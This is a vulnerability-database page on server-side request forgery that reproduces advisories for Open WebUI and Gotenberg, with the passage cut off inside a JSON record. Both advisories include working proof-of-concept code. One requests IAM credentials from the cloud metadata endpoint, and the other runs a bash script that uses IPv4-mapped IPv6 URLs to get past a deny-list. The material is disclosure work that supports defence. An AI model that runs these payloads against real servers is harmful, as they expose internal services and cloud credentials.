Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4826 vulnerabilities reference this CWE, most recent first.

GHSA-4V7R-F4W8-8972

Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-15 23:53
VLAI
Summary
Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature
Details

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()

Summary

validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/open_webui/retrieval/web/utils.py validate_url():

if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)

Proof of concept

import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

import requests, ipaddress

OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254"   # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4

requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
              headers={"Authorization": f"Bearer {TOKEN}"},
              json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
    raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
    addr_v4 = addr.ipv4_mapped
    if addr_v4.is_private or addr_v4.is_loopback or ...:
        raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

  • Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
  • DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
  • urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
  • Playwright loader redirect: GHSA-jrfp-m64g-pcwv
  • Missing validate_url() call in image_generations: GHSA-h7cc-wwjp-5xqh

Credits

  • Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).
  • wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45331"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:18:54Z",
    "nvd_published_at": "2026-05-15T20:16:48Z",
    "severity": "HIGH"
  },
  "details": "# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 \u2014 the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch\u0027s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True):  # ValidationError is falsy \u2014 never raises\n    raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={\u0027reason\u0027: \"ipv6() got an unexpected keyword argument \u0027private\u0027\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\"   # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n              headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n              json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process \u2014 cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n    raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n    addr_v4 = addr.ipv4_mapped\n    if addr_v4.is_private or addr_v4.is_loopback or ...:\n        raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. \u2014 see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** \u2014 first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** \u2014 first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit \u2014 fixing `validate_url()` once resolves all of them.",
  "id": "GHSA-4v7r-f4w8-8972",
  "modified": "2026-05-15T23:53:48Z",
  "published": "2026-05-14T20:18:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45331"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature"
}

GHSA-4VMC-GM8V-M35H

Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-05-14 20:52
VLAI
Summary
Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook
Details

Summary

The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.

Details

The issue originates from the shipped default deny-list regexes and the way those regexes are applied:

  • pkg/modules/api/api.go:198-200 defines the default api-download-from-deny-list.
  • pkg/modules/webhook/webhook.go:41-43 defines the default webhook-deny-list.
  • pkg/gotenberg/filter.go:20-69 evaluates those patterns with regexp2 using case-sensitive matching.

The attacker-controlled URL then reaches outbound request sinks:

  • pkg/modules/api/context.go:208-282
  • Reads attacker-supplied downloadFrom.
  • Calls gotenberg.FilterDeadline(...).
  • Issues an outbound GET with retryablehttp.NewRequest(...) and client.Do(...).
  • pkg/modules/webhook/middleware.go:99-217
  • Reads Gotenberg-Webhook-Url and Gotenberg-Webhook-Events-Url.
  • Calls gotenberg.FilterDeadline(...).
  • Constructs a client for outbound delivery.
  • pkg/modules/webhook/client.go:39-152
  • Sends the success or error webhook request.
  • pkg/modules/webhook/client.go:155-216
  • Sends the webhook event request.

Why the bypass works:

  1. The default deny-list only blocks lowercase http:// and https:// prefixes.
  2. The filtering logic performs case-sensitive regex matching on the raw user input.
  3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like http://[::ffff:127.0.0.1]:18081/....
  4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.

Confirmed bypass used during verification:

  • http://[::ffff:127.0.0.1]:18081/page_1.pdf
  • http://[::ffff:127.0.0.1]:18082/upload
  • http://[::ffff:127.0.0.1]:18082/events

This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.

PoC

One-command verification

From the repository root:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify_ssrf_poc.sh

What the script does:

  1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
  2. Starts Gotenberg on 127.0.0.1:3000.
  3. Starts an internal-only helper listener inside the same container network namespace.
  4. Verifies downloadFrom SSRF by forcing Gotenberg to fetch a PDF from http://[::ffff:127.0.0.1]:18081/page_1.pdf.
  5. Verifies webhook SSRF by forcing Gotenberg to POST to http://[::ffff:127.0.0.1]:18082/upload and http://[::ffff:127.0.0.1]:18082/events.
  6. Writes evidence artifacts to disk.

Expected success output:

[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener

Evidence files created by the script:

  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json
  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log

Manual evidence commands

The following commands were run after the verifier completed successfully:

jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'

Observed output:

{
  "page_1.pdf": {
    "CreateDate": "2025:02:17 14:46:38+00:00",
    "FileType": "PDF",
    "FileTypeExtension": "pdf",
    "Linearized": "No",
    "MIMEType": "application/pdf",
    "ModifyDate": "2025:02:17 14:46:38+00:00",
    "PDFVersion": 1.7,
    "PageCount": 1,
    "Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
    "SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
  }
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json

PoC Video:

https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3

Interpretation:

  • The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
  • The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.

verify_ssrf_poc.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
  "--pdfengines-merge-engines=qpdf"
  "--pdfengines-split-engines=qpdf"
  "--pdfengines-flatten-engines=qpdf"
  "--pdfengines-convert-engines=qpdf"
  "--pdfengines-read-metadata-engines=exiftool"
  "--pdfengines-write-metadata-engines=exiftool"
  "--pdfengines-encrypt-engines=qpdf"
  "--pdfengines-embed-engines=qpdf"
  "--pdfengines-read-bookmarks-engines=qpdf"
  "--pdfengines-write-bookmarks-engines=qpdf"
  "--pdfengines-watermark-engines=qpdf"
  "--pdfengines-stamp-engines=qpdf"
  "--pdfengines-rotate-engines=qpdf"
)

red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }

cleanup() {
  docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
  docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}

fail() {
  red "$1"
  printf '\n--- gotenberg logs ---\n'
  docker logs "$GOTENBERG_NAME" 2>/dev/null || true
  printf '\n--- helper logs ---\n'
  docker logs "$HELPER_NAME" 2>/dev/null || true
  exit 1
}

trap cleanup EXIT

mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"

if [[ ! -f "$TEST_PDF" ]]; then
  red "Missing test PDF: $TEST_PDF"
  exit 1
fi

if [[ ! -f "$DOCKERFILE" ]]; then
  red "Missing Dockerfile: $DOCKERFILE"
  exit 1
fi

if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
  blue "[1/6] Building slim verification image: $IMAGE"
  docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
  blue "[1/6] Reusing existing image: $IMAGE"
fi

blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
  --name "$GOTENBERG_NAME" \
  -p "$PORT:3000" \
  "$IMAGE" \
  --webhook-enable-sync-mode=true \
  "${PDF_ENGINE_FLAGS[@]}" >/dev/null

for _ in $(seq 1 45); do
  if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
    break
  fi
  sleep 1
done

if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
  fail "Gotenberg did not become healthy"
fi

cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread

PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()


class DownloadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/pdf")
        self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
        self.send_header("Content-Length", str(len(PDF_BYTES)))
        self.end_headers()
        self.wfile.write(PDF_BYTES)

    def log_message(self, fmt, *args):
        return


class WebhookHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length)
        with LOG_PATH.open("a", encoding="utf-8") as f:
            f.write(
                f"{self.command} {self.path} len={len(body)} "
                f"content-type={self.headers.get('Content-Type', '')}\n"
            )
        self.send_response(200)
        self.end_headers()

    do_PATCH = do_POST
    do_PUT = do_POST

    def log_message(self, fmt, *args):
        return


def serve(addr, handler):
    HTTPServer(addr, handler).serve_forever()


Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()

print("internal helper ready", flush=True)
Event().wait()
PY

blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
  --name "$HELPER_NAME" \
  --network "container:$GOTENBERG_NAME" \
  -v "$TEST_PDF:/srv/page_1.pdf:ro" \
  -v "$ARTIFACT_DIR:/work" \
  -v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
  python:3.11-alpine \
  python /app/internal_helper.py >/dev/null

for _ in $(seq 1 20); do
  if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
    break
  fi
  sleep 1
done

if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
  fail "Internal helper did not start"
fi

blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
  curl -sS \
    -o "$DOWNLOAD_JSON" \
    -w '%{http_code}' \
    -X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
    -F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"

if [[ "$download_status" != "200" ]]; then
  cat "$DOWNLOAD_JSON" 2>/dev/null || true
  fail "downloadFrom verification failed with HTTP $download_status"
fi

if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
  cat "$DOWNLOAD_JSON" || true
  fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi

green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"

blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
  curl -sS \
    -o /dev/null \
    -w '%{http_code}' \
    -X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
    -H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
    -H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
    -F "files=@$TEST_PDF"
)"

if [[ "$webhook_status" != "204" ]]; then
  fail "webhook verification failed with HTTP $webhook_status"
fi

if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
  cat "$WEBHOOK_LOG" || true
  fail "webhook verification failed: /upload was not hit"
fi

if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
  cat "$WEBHOOK_LOG" || true
  fail "webhook verification failed: /events was not hit"
fi

green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"

blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log:          %s\n' "$WEBHOOK_LOG"

printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"

printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"

printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'

Impact

This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.

Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:

  • Read content from internal HTTP endpoints through downloadFrom.
  • Trigger state-changing POST/PATCH/PUT requests through the webhook feature.
  • Reach services bound only to localhost from the perspective of the Gotenberg host or container.

Remediation

  1. Normalize and structurally validate URLs before any allow-list or deny-list decision. Parse with net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.

  2. Replace regex-only private-address filtering with resolved IP validation. Resolve the hostname, evaluate every resolved IP with net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.

  3. Reconsider the security default for outbound URL features. Either disable downloadFrom and webhook by default, or ship a strict default policy that only allows http/https plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to downloadFrom, webhook, error URLs, and event URLs.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.30.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T01:15:19Z",
    "nvd_published_at": "2026-05-14T16:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe default deny-lists used by Gotenberg\u0027s `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg/modules/api/context.go:208-282`\n  - Reads attacker-supplied `downloadFrom`.\n  - Calls `gotenberg.FilterDeadline(...)`.\n  - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg/modules/webhook/middleware.go:99-217`\n  - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n  - Calls `gotenberg.FilterDeadline(...)`.\n  - Constructs a `client` for outbound delivery.\n- `pkg/modules/webhook/client.go:39-152`\n  - Sends the success or error webhook request.\n- `pkg/modules/webhook/client.go:155-216`\n  - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http://` and `https://` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go\u0027s HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http://[::ffff:127.0.0.1]:18081/page_1.pdf`\n- `http://[::ffff:127.0.0.1]:18082/upload`\n- `http://[::ffff:127.0.0.1]:18082/events`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg\u0027\n./tmp/poc/verify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json`\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq \u0027.\u0027 \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json\u0027\ncat \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log\u0027\n```\n\nObserved output:\n\n```json\n{\n  \"page_1.pdf\": {\n    \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n    \"FileType\": \"PDF\",\n    \"FileTypeExtension\": \"pdf\",\n    \"Linearized\": \"No\",\n    \"MIMEType\": \"application/pdf\",\n    \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n    \"PDFVersion\": 1.7,\n    \"PageCount\": 1,\n    \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n    \"SourceFile\": \"/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n  }\n}\n```\n\n```text\nPOST /upload len=4363 content-type=application/pdf\nPOST /events len=126 content-type=application/json\n```\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" \u0026\u0026 pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}\"\nTEST_PDF=\"$ROOT/test/integration/testdata/page_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR/downloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR/webhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR/internal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/upload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/events\"\nPDF_ENGINE_FLAGS=(\n  \"--pdfengines-merge-engines=qpdf\"\n  \"--pdfengines-split-engines=qpdf\"\n  \"--pdfengines-flatten-engines=qpdf\"\n  \"--pdfengines-convert-engines=qpdf\"\n  \"--pdfengines-read-metadata-engines=exiftool\"\n  \"--pdfengines-write-metadata-engines=exiftool\"\n  \"--pdfengines-encrypt-engines=qpdf\"\n  